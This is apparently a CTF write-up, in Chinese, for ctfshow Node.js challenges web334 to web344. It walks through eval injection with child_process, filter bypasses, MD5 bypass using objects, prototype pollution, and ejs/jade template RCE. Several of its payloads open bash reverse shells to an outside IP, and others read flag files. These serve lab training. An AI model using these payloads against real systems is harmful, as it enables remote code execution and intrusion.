web334(toUpperCase)
1 | #user.js |
1 | #login.js |
存在逻辑漏洞
1 | return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; |
用小写用户名登陆
1 | ctfshow |
web335(child_process)
查看源代码
1 | <!-- /?eval= --> |
eval在nodejs中也是可以将参数当作nodejs代码执行的,和php类似
1 | eval(console.log(require("child_process").execSync("whoami").toString())); |
payload
1 | ?eval=require("child_process").execSync("cat f*").toString() |
web336(exec过滤)
和上题基本类似,只是过滤了’exec’;
可以用+
拼接绕过
1 | ?eval=require("child_process")['exe'%2B'cSync']('ls').toString() |
或者用spawnSync
1 | ?eval=require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString() |
web337(md5绕过)
给了源码
1 | var express = require('express'); |
上面是对象,下面是数组;
1 | let a = {'x':1} |
payload,更准确的来讲是用对象绕过md5
1 | ?a[c]=2&b[c]=3 |
web338(pollution)
考的原型链污染,可以看我这篇博客,
https://zixyd.github.io/2024/01/31/%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/
给了源码
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
其中utils.copy
,就是一个原型链污染漏洞利用点
1 | function copy(object1, object2){ |
web339(RCE)
1 | #login.js |
1 | #api.js |
由于我们并不知道flag的值,无法通过res.end(flag);来获取flag,只能通过api中的{ query: Function(query)(query)}
来rce获取flag;
这种形式,只要query的值可以控制,那么就可以命令执行,query的值可以通过copy函数原型链污染控制
Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load
来代替require。
1 | {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/81.71.13.76/5557 0>&1\"')"}} |
下面这个payload是ejs低版本存在漏洞
https://blog.csdn.net/lastwinn/article/details/128914419
1 | { |
web340(rce)
1 | #login.js |
和上一题类似,user.userinfo的上一级是user,user的上一级才是原生;只需要污染两级
1 | {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"')"}}} |
web341(ejs)
从上一题的基础上少了api文件,那么只能用ejs的payload去打
1 | {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/81.71.13.76/5555 0>&1\"');var __tmp2"}}} |
web342-343(jade)
和上一题类似,只不过渲染引擎换成了jade
1 | app.engine('jade', require('jade').__express); |
https://www.anquanke.com/post/id/236354#h2-3
payload
1 | {"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/81.71.13.76/5556 0>&1\"');//"}}} |
web344(,)
1 | router.get('/', function(req, res, next) { |
本来是
1 | ?query={"name":"admin","password":"ctfshow","isVIP":true} |
但是题目过滤了逗号
1 | ?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} |
nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。